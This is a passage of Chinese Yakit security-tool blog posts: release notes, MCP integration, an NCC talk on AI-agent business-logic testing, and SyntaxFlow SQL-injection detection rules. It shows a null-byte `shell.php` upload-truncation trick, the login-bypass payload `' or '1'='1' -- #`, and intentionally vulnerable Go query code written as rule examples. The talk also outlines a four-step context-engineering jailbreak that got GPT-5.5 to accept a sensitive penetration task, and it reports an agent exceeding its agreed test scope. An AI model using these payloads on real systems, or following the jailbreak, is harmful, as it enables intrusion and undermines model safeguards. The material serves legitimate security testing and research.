写入 `\x00`、`\x0a`、`\xff` 等不可见字节	HEX	`00`、`0a`、`ff`（不要 `0x` 前缀）
写入文件名、脚本字符串等可见文本	ASCII	`shell.php`、
写入图片/文件魔数	HEX 或 ASCII	`FFD8FF` 或 `GIF89a`
覆盖已有的一段字节	替换模式 + 先选中目标 + HEX/ASCII	把选中的字节改成 `00`
在指定位置前插入内容	插入模式 + 点击定位 + HEX/ASCII	在 `shell.php` 后插入 `00`
在末尾追加内容	插入模式 + 不选中任何字节 + HEX/ASCII	追加 `.jpg`

八、对比传统方式的优势

以前做这件事，流程是：

省去了记 Fuzztag 语法、反复发包验证这两步，出错概率低很多。

九、总结

Edit Binary 这次解决的核心问题是：

让 Web Fuzzer 里的不可见字节变得「看得见、改得了」。

对于经常要碰上传包的人来说，NullByte 截断、换行解析这些场景会顺手很多。

几个关键记忆点：

1.unquote 标签要用双引号；hexdecode / base64decode不要引号；

2.unquote / hexdecode / base64decode无论多短都会折叠；

3.折叠需要 foldBinaryFuzztag={true} + type="http"；

4.不可见字节用 HEX 输入，可见文本用ASCII 输入；

5.HEX 输入不要 0x 前缀，长度必须是偶数；

6.默认是替换模式，想覆盖字节要先选中；插入模式要先点击定位，否则插到末尾。

演示视频

END

更新记录

Yakit v1.4.7-0618

1. YakRunner上线侧边栏AI

2. MITM和Webfuzzer可编辑上传文件不可见字符

3. 热加载模板支持分组归类

4. History右键菜单支持查看附近数据包

5. 插件检测新增复制报错功能

6. 导出插件支持自定义导出路径

7. 端口扫描新增系统保护配置项

8. 隐藏MITM系统tag展示

9. 修复模型检测暗色模式bug

10. 修复数据对比模块异常问题

Memfit AI v1.0.2-0618

1. 优化任务规划数据展示

2. 任务详情增加统计数据，可手动加载技能、工具、插件等，且自由对话任务也可查看任务详情

IRify v1.2.3-0618

1. 优化首页展示，增加数据统计

2. 优化项目管理编译历史展示

Yaklang 1.4.7-beta10

Yakit：

1. 修复了POC函数示例错误

2. yak runner中补充AI输入框

Memfit：

1. 支持强制人工评审，执行流程重构

2. 计划可脱离主会话独立评审与恢复执行

3. 支持追问能力

4. 统一会话快照事件，包含执行统计、yaklang.File 写入计数等

IRify：

1. 修复 DeleteSSAProgram 未指定 program name 时会误删全部 risk 的问题

2. 嵌套压缩包解析：增强 ExpandedZipFS 递归解析

YAK官方资源

Yak 语言官方教程：

Yakit 视频教程：

Github下载地址：

Yakit官网下载地址：

https://yaklang.com/products/download_and_install

Yakit安装文档：

Yakit使用文档：

常见问题速查：

破除工具孤岛：Yak MCP 架构演进与 AI 安全能力开放

Fri, 12 Jun 2026 17:58:00 +0800

原创 YAK 2026-06-12 17:58 湖南

依托MCP架构，搭建全场景AI安全能力调度体系

一、从“黑盒调用”到“标准总线”的转变

在安全自动化场景中，我们常常面临一个痛点：当我们引入一个强大的大语言模型（LLM）作为 Agent 时，它如何与本地复杂的安全工具（如扫描器、逆向工具）进行交互？

过去，这种交互往往是“黑盒”且脆弱的。我们需要为每一个工具编写特定的 API 接口、定制复杂的提示词，甚至还要处理各种复杂的进程通信问题。如果工具更新了，或者换了一个大模型，这套脆弱的对接逻辑可能瞬间崩塌。

Yakit 在近期的更新中，优化了 MCP（Model Context Protocol，模型上下文协议）相关基础设施。通过 MCP，AI 客户端不再需要去“猜”工具怎么用，而是通过标准协议直接读取工具的 Schema，明确知道自己能做什么、需要传什么参数。

这种从“定制化黑盒”到“标准化总线”的转变，使得 Yakit 能够以一种工程化、高可靠的方式，将 AI 与底层安全能力深度缝合。

二、Agent 框架接入 MCP：通过 MCP 引入外部工具

通过 MCP 协议接入外部 MCP 工具，并将其加入到 Agent 的能力清单中，是 Yakit 此次更新的核心亮点。

YAK

1.动态工具链发现

当 Yakit 的 Agent 启动并连接到一个外部的 MCP Server（例如一个封装了 IDA Pro 能力的MCP）时，Agent 会主动发起握手，获取该 Server 暴露的所有工具清单。

系统会在底层将这些外部工具动态解析，并映射为 Agent 可理解的函数签名。为了防止不同工具间的命名冲突，系统会使用特定的命名路由规范（例如统一前缀 mcp_加上服务名和工具名）。这样，AI 在面对复杂任务时，其“工具箱”是清晰可见且边界明确的。

YAK

2.逆向工程实战：与 IDA Pro 的无缝联动

想象一个场景：你需要分析一个未知的二进制样本，找出其中密码。

在过去，这需要安全工程师在反汇编界面中反复跳转、查阅交叉引用。而现在，通过使用针对IDA Pro 设计封装的 MCP Server，Yakit 的 Agent 能够直接接入其上下文。当 Agent 接收到指令后，它会在其“工具箱”中选择调用 IDA 的反编译接口，获取关键函数的伪代码，并自主推导出密码逻辑。整个过程，AI 的每一步调用都是基于明确的工具 Schema，而非主观臆测。

首先安装ida-pro-mcp。接着IDA中打开crackme二进制文件，可以在左下角看到MCP启动了。接着在Memfit中添加MCP服务器。

在添加完成后即可查看MCP服务器提供的工具列表。

接着在Agent页面使用ida-pro-mcp中提供的样例提示词对Agent发出请求。


You task is to analyze a crackme in IDA Pro. 

You can use the MCP tools to retrieve information. In general use the following strategy: 

- Inspect the decompilation and add comments with your findings 

- Rename variables to more sensible names 

- Change the variable and argument types if necessary (especially pointer and array types) 

- Change function names to be more descriptive 

- If more details are necessary, disassemble the function and add comments with your findings - NEVER convert number bases yourself. Use the convert_number MCP tool if needed! 

- Do not attempt brute forcing, derive any solutions purely from the disassembly and simple python scripts - Create a report.md with your findings and steps taken at the end 

- When you find a solution, prompt to user for feedback with the password you found

可以看到Agent正确加载了ida-pro-mcp提供的工具到Agent上下文。

在无人工干预的情况下最终得到结果

经过验证结果正确。

三、边界拓展：Yakit 化身安全能力“供给站”

MCP 协议的魅力在于其双向性。Yakit 不仅能作为客户端去调用别人，更能作为服务端（MCP Server）将自身强大的底层能力开放出去。

这意味着什么？意味着如果你在使用 ClaudeCode、Codex、Cursor，或者企业内部自研的 AI 研判系统，你只需要通过标准协议连接到 Yakit 的 MCP Server，你的 AI 就能瞬间拥有 Yakit 的网络测绘、漏洞扫描甚至代码审计能力。AI 可以直接下发扫描指令，并获取结构化的扫描结果，而无需关心底层的并发控制与网络通信。

在右上角点击系统检测按钮，并在弹出界面的Yak Mcp栏点击去配置即可跳转到MCP Server配置界面。

为了让外部 AI 客户端能够按需、精准地调用这些能力，Yakit 在服务端配置界面提供了细粒度的工具控制。具体而言，Yakit 对外开放的能力被划分为三大矩阵：

YAK

1.MCP 内置工具：硬核安全引擎的直接暴露

如图所示，这类工具（来源标记为“MCP内置”）直接映射了 Yakit 最底层的传统核心安全引擎。

能力范畴：包括 web_crawler（网页爬虫）、query_ports（端口测绘）、hybrid_scan（混合扫描）、http_fuzzer（Web 模糊测试）等。
工程价值：这些工具是 Yak 语言生态中最成熟的部分。外部 AI 可以直接调用它们发起真实的扫描或攻击载荷投递。例如，Cursor 中的 AI 可以直接调用 query_http_flow 获取 Yakit 代理抓取到的 HTTP 流量，进而辅助开发者进行安全调试或漏洞复现。

YAK

2.AI Tool Framework：底层基础设施的全面开放

除了传统的网络安全扫描，Yakit 还将原本专属于内部 Agent 框架的底层基础设施（来源标记为“AI内置”）全面开放给了第三方。

能力范畴：涵盖了 ssa-grep / ssa-read-file（基于 SSA 的代码静态分析与检索）、powershell / cmd（受控环境下的系统命令执行）、tls_inspect（证书审计）以及 call_yak_plugin（Yak 插件动态调用）等。
工程价值：这使得第三方 AI 的能力边界从“网络层”延伸到了“主机层”与“代码层”。外部大模型不仅能做黑盒扫描，还能通过 Yakit 深入到目标系统的源代码层面进行白盒审计，或者在授权环境下执行系统级取证分析。

YAK

3.桥接外部MCP：打造安全工具生态的“中央枢⁠纽”

Yakit 不仅能暴露自身的能力，还能作为一个“代理枢纽”（Proxy），将它所连接的其他外部 MCP Server 的能力再次“透传”出去。

能力范畴：如图所示，Yakit 将此前接入的 IDA Pro MCP 工具（如 mcp_IDA_analyze_function、mcp_IDA_trace_data_flow 等）桥接并暴露在了自己的 Server 列表中。
工程价值：这种设计彻底打通了不同安全工具与不同 AI 客户端之间的生态壁垒。假设企业内部有一个统一的 AI 研判大脑，它不需要去分别对接 IDA Pro、BurpSuite 或其他扫描器；它只需要连接 Yakit 这一个“中央枢纽”，Yakit 就会在底层完成所有异构安全工具的协议桥接与能力路由。这为构建企业级、全场景的 AI 安全工作流提供了最坚实的基础设施。

四、底层支撑：适配全场景的传输模式 (Transport)

无论是 Agent 调用外部工具，还是 Yakit 对外提供服务，支撑这些复杂跨进程、跨网络调用的，是底层极其健壮的传输控制体系。

在实际的安全工程中，工具的部署位置千差万别。为了保证连接的可靠性，Yakit 严格遵循 MCP 标准，在底层实现了三种不同的传输模式（Type），用户可以在 GUI 直接配置：

Stdio（标准输入输出）模式：这是最常见也是最轻量的模式。当 MCP Server 与 Yakit 运行在同一台物理机上时，Yakit 会通过命令行直接拉起该进程，并通过标准输入/输出流（stdin/stdout）进行 JSON-RPC 通信。这种模式无需占用网络端口，极度安全且延迟极低，非常适合本地安全工具的深度集成。
SSE（Server-Sent Events）模式：当安全能力被部署在远端服务器（例如企业内网的扫描节点）时，Stdio 模式便不再适用。SSE 模式允许 Yakit 通过标准的 HTTP 协议建立连接，服务端可以通过单向事件流实时向客户端推送状态更新，而客户端则通过 HTTP POST 发起调用。这种模式完美穿透了传统的防火墙限制，是跨网络轻量级通信的首选。
Streamable HTTP 模式：这是 Yakit 针对高吞吐量安全场景（如大规模端口扫描或目录爆破）定制的流式 HTTP 传输层。它在保证 HTTP 协议通用性的同时，优化了大数据块的流式传输效率，确保在极端并发下，AI 客户端仍能稳定接收海量的测试结果。

五、结语

在严肃的工业级安全场景中，AI 的落地不能仅凭大模型的“聪明才智”，更需要坚实的工程化约束。

Yakit 此次 MCP 架构的演进，本质上是在做一件极其务实的事情：通过标准化的协议总线，为 AI 划定清晰的操作边界，同时将最硬核的安全能力无缝注入到 AI 的工作流中。

破除工具孤岛，让 AI 在既定的轨道上高效运转，这才是安全自动化的未来。

END

更新记录

Yakit v1.4.7-0612

1. 支持AI生成插件名称/描述/tag

2. 匹配器新增“失败”类型，支持失败数据一键重试

3. 优化插件右侧参数字段展示

4. 修复字典右键菜单组件问题

5. 修复部分暗色模式问题

6. 修复框选配置问题

7. 修复全局热加载模板展示问题

8. 优化win安装时低权限提示

9. Webfuzzer增加AI测试提示词，一键自动测试

10. History列表隐藏系统Tag，但侧边可筛选

11. 删除History流量漏洞详情也可查看数据包

Memfit AI v1.0.2-0612

1. 任务数增加可查看每个子任务的执行详情，包括技能、工具、插件加载情况等

2. 优化打开新窗口查看任务的底层逻辑，提升加载速度

Yaklang 1.4.7-beta9

[Yakit]

1. 优化安装引导，完善并优化了权限错误的提示信息；

2. 重构 HttpFuzzer 的模式处理与重试等核心逻辑，支持强制失败匹配器；

3. 重构爬虫模块，修复了因爬虫引起的进程泄漏问题;

[Yaklang]

1. Risk 风险点流量改为冗余存储，保障 HttpFlow 被清理之后依然保留关联数据；

[Memfit / AIgent]

1. 能力调度与增强：重构 AI Agent 附加资源机制

2. 修复 MCP 数据库过滤逻辑问题与软删除失效问题

3. 修复 MCP AI Tool 的 Schema 错误

4. 修复 MCP CLI 的崩溃问题

YAK官方资源

Yak 语言官方教程：

Yakit 视频教程：

Github下载地址：

Yakit官网下载地址：

https://yaklang.com/products/download_and_install

Yakit安装文档：

Yakit使用文档：

常见问题速查：

【NCC会议议题】从三天到一夜：AI Agent 加速业务逻辑测试的工程实践

Mon, 08 Jun 2026 17:03:00 +0800

原创 YAK 2026-06-08 17:03 湖南

Yakit x Memfit AI 加速助力业务逻辑漏洞测试

业务逻辑漏洞测试长期是渗透测试中最依赖人力、最难自动化的环节：扫描器无法识别金额操纵、越权、支付回调伪造等问题，一线安全从业人员只能逐接口手工理解业务、构造多账号、对比状态变化，一套完整测试常以"天"计。2026 年 6 月 6 日，第一届白帽大会（NCC）在上海举行，本议题提出一套"人控建模 + AI Agent 执行"的工程方法，并以真实靶场数据验证其提速效果。文中数据均来自不开源、无训练材料、无引导性 URL 的靶场 `redhaze.top`，结论可复现。

本议题围绕五条主线展开：

1.业务逻辑漏洞为何无法被批量扫描，难点卡在何处；

2."人控建模 + AI Agent 执行"的基本方法与两个工程难点；

3.从抓取正常流量、AI 辅助建模到任务清单执行、人工验收的完整流程；

4.无人工业务建模时的 AI Agent 对照实验（含三个主流模型横评）；

5.SKILL 的真实意义与一个值得警惕的越狱案例。

一、背景：无法被批量扫描的长链路逻辑漏洞

传统扫描器在业务逻辑漏洞面前几乎失效，根因在于两类漏洞性质不同。传统漏洞有固定 Payload 特征、遵循"输入→响应"的模式匹配、可武器化批量扫描、技术验证成功即可定性；业务逻辑漏洞无规则特征，依赖对业务状态流转的理解，每次从零开始，且"状态码 200 ≠ 业务漏洞"。

其中最关键的是"状态码 200 ≠ 业务漏洞"。一个返回 200、流程正常的下单请求，可能就是一笔金额为负的 0 元购订单——危害藏在业务语义与状态流转中，无法从单次请求/响应直接判定。

业务逻辑漏洞考验的是业务理解与状态推理能力，Payload 构造退居次要，而这恰好落在大语言模型的能力区间内。由此得到本议题的基本判断：把"理解业务、推理状态"交给 AI，把决策与验收留给人。

二、AI 辅助测试逻辑漏洞的方法与难点

方法的核心是分工：人负责决策，AI 负责重复执行。

YAK

2.1 基本方法：人控建模，AI 执行

整个流程分四步：

1. 收集流量 + 理解业务：人工查看页面、流量、字段与认证方式

2. AI 辅助梳理任务书：筛选待测业务，生成待测清单

3.AI Agent 执行任务清单：在保留自由度的前提下执行长任务

4.验收与漏洞确认：人工排除误报、剔除低危、确认真实漏洞

两个常见疑问需要明确。其一，为何不让 AI 收集流量：生产环境登录普遍带二次核身与手机验证码，真人一两分钟即可通过，而 AI 模拟浏览器、识别验证码噪声大、失败率高，这一步留给人最划算。其二，测试人员能否完全不懂业务：不能，测试人至少承担两项 AI 当前无法接管的责任——决策（划定测试边界、不越界）与验收（排除误报）。

漏洞类型与 AI 自动化程度的对应关系如下。

规律明确：以"逻辑推理 + 参数构造"为主的环节，AI 可独立完成；涉及真实资金与硬件交互（扫码、银行密码、并发时序）的环节，AI 会卡住。这条边界决定了任务清单的设计取舍。

YAK

2.2 业务理解前置：两个支付场景的攻击面差异

不同支付体系攻击面差异巨大，业务理解必须前置。

银联支付场景攻击面较小，抓包建模后的核心问题集中在幂等性与金额边界。

1.`request_id` 是否幂等？可否重复、遍历？

2. 发起金额可否修改？是否与生成的二维码一致（边界与精度攻击入口）？

3. `payment_order_id` 对应的 `*/capture` 接口是否可越权？

4.是否限频（429）？

套餐 + 聚合（四方）支付场景攻击面更大，且与金额支付体系完全不同。

1.套餐 ID 是否仅限已列出的几个？`888/999/666/0/-1` 是否触发特殊套餐？

2.支付站点、生成链接域名、回调域名三者是否一致？

3.订单号回调查询支付状态是否存在越权？域名不一致时 Cookie/Session 不一定跨域。

两类场景的测试项几乎不重叠，说明跳过业务理解直接测试等同于盲打。

YAK

2.3 任务清单（TODO）的设计价值

理解业务后，整理待测项目并规划：按场景准备多账号的新鲜流量、Cookie 与 Session，给出场景级计划。为 AI 设计 TODO 不会限制其能力，反而带来三点收益：

1.人与 AI 目标一致、边界明确

2.分而治之：拆小任务、降低单步难度，避免 AI 自行做不稳定的任务拆解

3.配合动态规划，保下限、提上限——TODO 是底线，执行中 AI 仍可自由发挥

业务理解之所以前置，是因为关键流程包裹着二次核身、验证码、手机验证码等高门槛前置条件，由人获取关键流量效率最高。

YAK

2.4 工程难点：雪崩效应与长链路稳定

最棘手的难点是雪崩效应：多轮 ReAct 中的小错误会逐步传播、放大，最终导致任务失控离题。短链路影响有限，但业务漏洞几乎都是长链路，雪崩效应不可回避。稳定长链路有 TODO List 与 PLAN 两种思路，对比如下。

结论：短链路、目标单一用 TODO List；跨子系统、多漏洞混杂的复杂场景需 PLAN 模式保障全局稳定。"人控建模 + 任务清单"本质上是用人工 PLAN 为 AI 兜底，锁死长链路下限。长链路稳定问题一旦解决，弱于该防护强度的场景自然可控。

三、人控：从业务建模到 AI 长任务测试全流程

流程模式：人确定业务方向，AI 承担整理、拆解、执行、验收。

YAK

3.1 步骤一：抓取正常业务流量？

以普通用户身份完整走一遍业务流程并抓取流量，重点确认三类功能：

1. 登录注册

2.购物车 / 收银台

3.支付 / 优惠

正常流量是整条链路的地基，缺少新鲜、完整的流量，后续建模无从谈起。

YAK

3.2 步骤二：AI 辅助理解业务

勾选关键流量，经流量分析直接生成测试任务书。若清单仍不够直观，可要求 AI 生成 Mermaid 系统时序图，呈现购物车与支付的状态流转。

业务建模这一最依赖经验的环节由此压缩到分钟级：一份含测试点、关注参数、预期风险的清单，配合时序图，即可支撑后续自动化测试。

YAK

3.3 步骤三：任务清单交付 AI Agent 执行

任务清单包含三要素：测试目标、所用 Cookie / Session、待测路径与功能点。落地方式有两类：复制给 Memfit AI 执行，可结构化保留完整过程、流量与漏洞；或使用 Codex 的 `/goal`、CC 直接执行。该步骤人工几乎不介入。

YAK

3.4 步骤四：漏洞验收

AI 按优先级输出漏洞，验收聚焦证据链与业务影响。

验收成本低的关键在于：AI 同时交付测试过程中的 CURL 命令或数据包，人工只需复现、取证、出报告。报告本身也可由 AI 生成——任务报告书结构一致，DeepSeek V4 Pro、Qwen3.7 MAX、GPT-5.5 三者效果接近，均在 20-30 分钟出结果且覆盖上述主要漏洞。

YAK

3.5 执行层效率

人工与 AI 的逐项耗时对比如下。

除真实支付（银行卡 / 微信 / 支付宝）AI 无法完成外，凡流量明确、认证清晰的环节，AI 提效均达数倍。表格之外，AI 还具备四项人力难以稳定保证的特质：

1.不遗漏任一 TODO 测试项

2.可连续工作、不疲倦

3.状态稳定、无情绪波动

4.个体差异极小（无专家 / 实习之分）

业务漏洞普遍是长链路，长链路最大的风险正是人在长时间作业后漏掉环节，AI 在这一点上的稳定性是被低估的提速来源。随之而来的问题是测试质量如何保证，由下一节的对照实验回答。

四、对照实验：无业务建模的 AI Agent 表现

对照设计：取消人工业务建模，仅提供目标地址，让 AI Agent 从零自测，按难度分级评估。

YAK

4.1 L1 基线：登录 SQL 注入

基线场景为存在 SQL 注入登录绕过的企业账号系统，后端查询如下：

sql
SELECT ... FROM enterprise_account
WHERE tenant_code='%s' AND password='%s'

AI Agent 走标准 ReAct 链路：

1.Observe：抓取 Login 流量

2.Thought：判定测试 SQL 注入绕过

3.Action：发送 `' or '1'='1' -- #`

4.Verify：观察 302/200 + Set-Cookie

5.Judge：以 profile / subject_key 确认登录

工具层面为 Yakit Web Fuzzer + 数据包 + Prompt，AI 全自动接管。L1 单点漏洞 AI 接管无悬念，真正的考验在 L2。

YAK

4.2 L2：长链路复杂商城

L2 为多子系统耦合的完整商城（登录 / 注册 / 管理员，订单 / 商品 / 用户 / 结算 / 支付）。

实验条件刻意苛刻：仅提供商城地址，连续测试约一小时，全程使用最普通的 prompt（约六轮"继续测试"），不提供任何业务提示。靶场 `redhaze.top` 不开源、无训练材料、无引导性 URL 或注释，AI 无任何捷径，预期命中 8/22（列表内）。三个主流模型结果如下。

L2 结果：Qwen3.7-Max

连续工作 50 分 31 秒，工具调用 142 次，ReAct 迭代 168 轮，产出 17 个漏洞，预期命中 8/22（36%），逻辑漏洞占比 41%（7/17）。覆盖注册无邮箱验证、支付回调伪造、Guest IDOR 订单、跨店读单、优惠券枚举、大规模 PII 泄露（50 单）、负数量金额为负，直至混合负数 0 元购。

L2 结果：GPT-5.5

连续工作 71 分 43 秒，工具调用 115 次（-19%），ReAct 迭代 120 轮（-30%），产出 23 个漏洞（+26%），逻辑漏洞占比 65%（15/23）。已触及 Desk 工单跨系统边界：客户登录 SQLi 直接签发会话、负数订单置 paid（0 元购）、工单跨客户 IDOR、工单 Webhook SSRF。

L2 结果：DeepSeek V4 Pro

连续工作 85 分 56 秒，工具调用 152 次（+7%），ReAct 迭代 156 轮（-30%），产出 16 个漏洞，逻辑漏洞占比 81%（13/16）。同样触及 Desk 跨系统问题（工单评论存储型 XSS、Webhook 盲 SSRF），并发现购物车 + 下单负价校验完全绕过。

YAK

4.3 三模型横评

三点结论：

1. GPT-5.5 除价格外全线领先——漏洞最多、迭代最少；但单位漏洞成本高达 15.96 RMB，约为 Qwen 的十倍

2. DeepSeek 性价比突出，成本约为 Qwen3.7-Max 的二分之一

3. 国内模型与国外顶级模型差距有限：Qwen3.7、DeepSeek 略逊于 GPT-5.5，但非数量级差异

选型参考：追求极致深度且预算充足选 GPT-5.5；追求性价比与规模化跑量，国内模型已足够。

YAK

4.4 全 AI 托管 vs 人工建模

有人工建模时逻辑测试深度更高；全 AI 托管暴露三类问题，同时具备一项优势：

1. 测试越界：AI 打到 Desk 工单系统，超出原定边界

2. 遗漏优惠券越权使用

3. 遗漏回调函数的开放重定向

4. 覆盖的业务点比人工建模更广

全托管 AI 的特征是覆盖广但缺乏纪律（越界 + 漏点）。业务建模与 SKILL 正是同时治理"越界、遗漏、覆盖度"的手段，由此引出下一节。

五、SKILL 的意义与越狱问题

YAK

5.1 SKILL 的正确定位

业内出现"使用 SKILL 后效果变差"的反馈。SKILL 真正的角色是兜底与激活更多模型参数，把它写成限制清单则用反了方向。

死板的禁令会拖累本就聪明的模型，当作"攻击面启发器"使用则效果相反。下表为一组搜索意图到漏洞类目的映射（基于 BM25 / FTS5）。

SKILL 把模糊的业务词翻译成明确的攻击面方向，对激活模型参数贡献显著；前提是必须保留 AI 的动态调整能力。SKILL 用于启发与兜底，不应锁死动作空间——"用了 SKILL 反而更差"的前提在此被消解。

YAK

5.2 越狱：上下文工程的滥用风险

上下文工程既能提升渗透测试效率，也可被滥用。实验环境中，通过 Memfit 的上下文工程，Codex - GPT-5.5 接受了对高敏感目标的渗透任务。

其上下文工程为四步：

1. 运行域假设（变更前提）

2. 分散注意力（角色扮演）

3. 意图变更（输出决策结果）

4. 逻辑闭环（营造工作氛围）

四步组合重塑了模型对"自身正在执行任务"的认知。随 AI Agent 能力增强，攻防双方使用同一套能力，如何在工程上为其加装边界与刹车，是后续的长期课题。

六、结语

本议题将业务逻辑漏洞测试这一"重经验、重耐心、重时间"的工作拆分为"人控决策 + AI 执行"，并以业务建模、任务清单与 PLAN 模式保障长链路稳定。

数据支撑标题"从三天到一夜"：流量明确、认证清晰时，AI Agent 在重放、改参、对比、取证等环节稳定提效数倍；完全无建模的对照实验中，主流模型可在一小时内独立产出十余至二十余个真实漏洞。真实支付、扫码、并发时序仍需人工完成。全部数据来自不开源、无引导的真实靶场，结论可复现。

AI加速逻辑漏洞测试（外发版）.pptx

END

YAK官方资源

Yak 语言官方教程：

Yakit 视频教程：

Github下载地址：

Yakit官网下载地址：

https://yaklang.com/products/download_and_install

Yakit安装文档：

Yakit使用文档：

常见问题速查：

SyntaxFlow 规则引擎能力迭代

Fri, 05 Jun 2026 17:40:00 +0800

原创 YAK 2026-06-05 17:40 湖南

依托 CFG 原生接口完善过程内控制流分析

SyntaxFlow 的 CFG 能力属于过程内（intra-procedural）控制流分析，在 SSA 基本块上工作。

目前，SyntaxFlow 规则已集成多项控制流分析工具。本文将重点阐述其新引入的本地调用（Native Call）功能更新。

一、目前的局限

在编写 SyntaxFlow 规则时，可能遇到如下的情况：

id := r.URL.Query().Get("id") 
if !filterValidateID(id) {
    http.Error(w, "invalid id", http.StatusBadRequest)
    return
}
query := fmt.Sprintf("SELECT username FROM users WHERE id = %s", id)
_, _ = db.Query(query) // sink

单靠追踪数据流的上层定义链（def-use chain）这种思路，在此类问题上是行不通的。这是因为通过 db.Query 向上追踪数据流，只能找到filterValidateID和 r.URL.Query().Get，而找不到 if路径里面的 return信息，此时使用纯数据流分析就很难判断 filterValidateID是否会影响后续 db.Query 的调用。

二、新增NativeCall的基础用法

YAK

1.getCfg

将 SyntaxFlow 命中（实参、赋值右值、调用等）映射到其所在的 SSA BasicBlock，作为内部 CfgCtx（func / block / inst）的统一锚点。


$sink<getCfg()> as $sinkCfg

$thenVal as $thenCfg

YAK

`2.cfgGuards`

以链上点为 sink，在同函数内扫描「头块 CFG 可达 sink」的二路分支：

1.若一侧到不了 sink、另一侧能到，则在截断侧识别 return/ panic / break / continue，输出 GuardPredicateValue（形如cfgGuard(kind=..., polarity=...)）

2.若无合格分支，输出 kind=none 的合成守卫，避免过滤链断掉


$sinkCfg<cfgGuards()> as $guards

$arg<cfgGuards()>?{opcode: return} as $retGuards

$arg<cfgGuards(opcode: return)> as $retGuards2

YAK

`3.cfgDominates`

从函数入口沿控制流到当前 cfg，是否必经target cfg（图论：target 支配 current）。同块内可按指令序细化。返回布尔常量true / false。

foo() as $call
println(* #-> as $sinkArg)
$call<getCfg()> as $callCfg
$sinkArg<getCfg()> as $sinkCfg
$callCfg<cfgPostDominates(target: "$sinkCfg")> as $pd  // true

YAK

`4.cfgPostDominates`

从当前 cfg 沿控制流到函数出口，是否必经target（图论：target 后支配 current）。用于「往后走是否一定经过某点」。参数形式同 cfgDominates。

foo() as $call
println(* #-> as $sinkArg)
$call<getCfg()> as $callCfg
$sinkArg<getCfg()> as $sinkCfg
$callCfg<cfgPostDominates(target: "$sinkCfg")> as $pd  // true

YAK

5.使用案例

在了解上述4个 native call 后，之前在本文开头提到的案例就有解决方案了：

id := r.URL.Query().Get("id") 
if !filterValidateID(id) {
    http.Error(w, "invalid id", http.StatusBadRequest)
    return
}
query := fmt.Sprintf("SELECT username FROM users WHERE id = %s", id)
_, _ = db.Query(query) // sink

核心思路为使用 cfgGuards 判断上述控制流中没有 return 类型的截断：

<include('golang-database-sql')> as $sink;
<include('golang-user-input')> as $input;
*.Query as $func;
*.QueryRow as $func;
// ---------- 1. getCfg：source / sink 锚点 ----------
// 用户输入命中点 → 基本块（与 include $input 同源）
$input as $srcHit;
$srcHit<getCfg()> as $sourceCfg;
// Query 实参 → sink 基本块
$func(* as $param);
$param<getCfg()> as $sinkCfg;
// ---------- 2. cfgGuards：sink 侧分支截断（过滤 return 守卫） ----------
// sink 块上：存在「另一侧 return、本侧能到 sink」时得到 earlyReturn 等；!opcode:return 保留可分析链
$sinkCfg<cfgGuards()> as $guards;
$param?{<cfgGuards()>?{!opcode: return}} as $paramOk;
// ---------- 3. 数据流 + 再次用 cfgGuards exclude ----------
$paramOk #{
    until: `/Sprintf/`,
    until: `*?{opcode:add}`,
    include: <<
* & $input
CODE,
    exclude: <<
*?{}
CODE,
}-> as $path;
// ---------- 4. cfgDominates：路径上的点须被 source 块支配 ----------
// 从函数入口到该 SSA 点须必经 $sourceCfg（id 赋值所在控制流）
$path?{*<cfgDominates(target: "$sourceCfg")>?{have: "true"}} as $high;
alert $high for {
    level: "high",
    title: "SQL injection (concat after validation)"
    title_zh: "校验后仍拼接 SQL，且 source 支配污点路径"
    risk: "SQL注入",
    message: "已用 getCfg 锚定 source/sink，cfgGuards 剔除 return 截断分支，cfgDominates 要求路径必经用户输入；请改用 db.Query(\"... ?\", id)。",
}

三、新增NativeCall的高阶用法

YAK

`1.cfgReachable`

当前 cfg 能否沿 CFG 到达 targetcfg。返回 true / false。


$callerCfg<cfgReachPath(target: "$calleeCfg", icfg: true, max_depth: 4)> as$path

1.icfg：是否仅过程内 CFG沿基本块 Succs走，不进 callee、不从 return 回到 caller；

2.max_depth：限制「穿过多少次调用/返回」，防止 ICFG 搜太深（填写 -1 表示无限制）；

3.max_nodes：BFS seen集合大小超过该值则整次搜索失败，返回空路径。

YAK

`2.cfgReachPath`

与 cfgReachable相同的起点、终点与 icfg 配置：可达时返回 (函数,块) 链证据字符串，不可达为空。

$callerCfg<cfgReachPath(target: "$calleeCfg", icfg: true, max_depth: 4)> as $path

过程内不可达时路径为空，可与 cfgReachable 搭配做规则调试输出。

YAK

`3.cfgCondition`

返回当前基本块上的条件摘要（inst / value / source / schema 等），覆盖 if、switch、loop、merge 继承等场景；无分支条件时可能为空。


$cfg<cfgCondition()> as $cond

YAK

`4.cfgConditionValues`

与 cfgCondition 同源摘要，但直接给出条件关联的 SSA value 列表。

$cfg<cfgConditionValues()> as $v

YAK

`5.reachabilityGuard`

从函数入口出发，判断 target 是否在 mustExecute 意义下必执行（mode 目前仅 mustExecute）。

返回值（三种）

1.入口全路径必达且后支配成立 → 布尔 true

2.入口 CFG 不可达 target → false

3.否则 → 到达 target 路径上的条件 SSA value 列表（嵌套 if/loop 可能多项）

$from<reachabilityGuard(target="$to", mode="mustExecute")> as $guard

YAK

6.使用案例

id := r.URL.Query().Get("id")
tenant := r.URL.Query().Get("tenant")
role := r.Header.Get("X-Role")
// 过滤 1：ID 格式
if !filterValidateID(id) {
    http.Error(w, "bad id", http.StatusBadRequest)
    return
}
// 过滤 2：租户
if !filterMatchTenant(id, tenant) {
    http.Error(w, "tenant mismatch", http.StatusForbidden)
    return
}
// 过滤 3：角色（仅 admin/operator 可查）
if !filterRequireRole(role, "admin", "operator") {
    http.Error(w, "forbidden", http.StatusForbidden)
    return
}
// 过滤 4：审计（不 return）
filterAuditLog(w, "getUser", id)
// 仍危险：校验通过后仍拼接
limitStr := r.URL.Query().Get("limit")
limit, _ := strconv.Atoi(limitStr)
if limit <= 0 {
    limit = 10
}
query := fmt.Sprintf(
    "SELECT id, name FROM users WHERE id = %s AND tenant = '%s' LIMIT %d",
    id, tenant, limit,
)
_, _ = db.Query(query) // sink

在上述的案例中有3个关键的过滤函数 filterValidateID，filterMatchTenant，filterRequireRole，一个无效的过滤函数 filterAuditLog，控制流结构如下：

入口
  → Get(id), Get(tenant), Header(role)
  → [filterValidateID]     ─失败→ return
  → [filterMatchTenant]    ─失败→ return
  → [filterRequireRole]    ─失败→ return
  → filterAuditLog         （无 return）
  → Get(limit) → Sprintf   ─┐
  → db.Query               ← sink（仅「三路校验都过」可达）

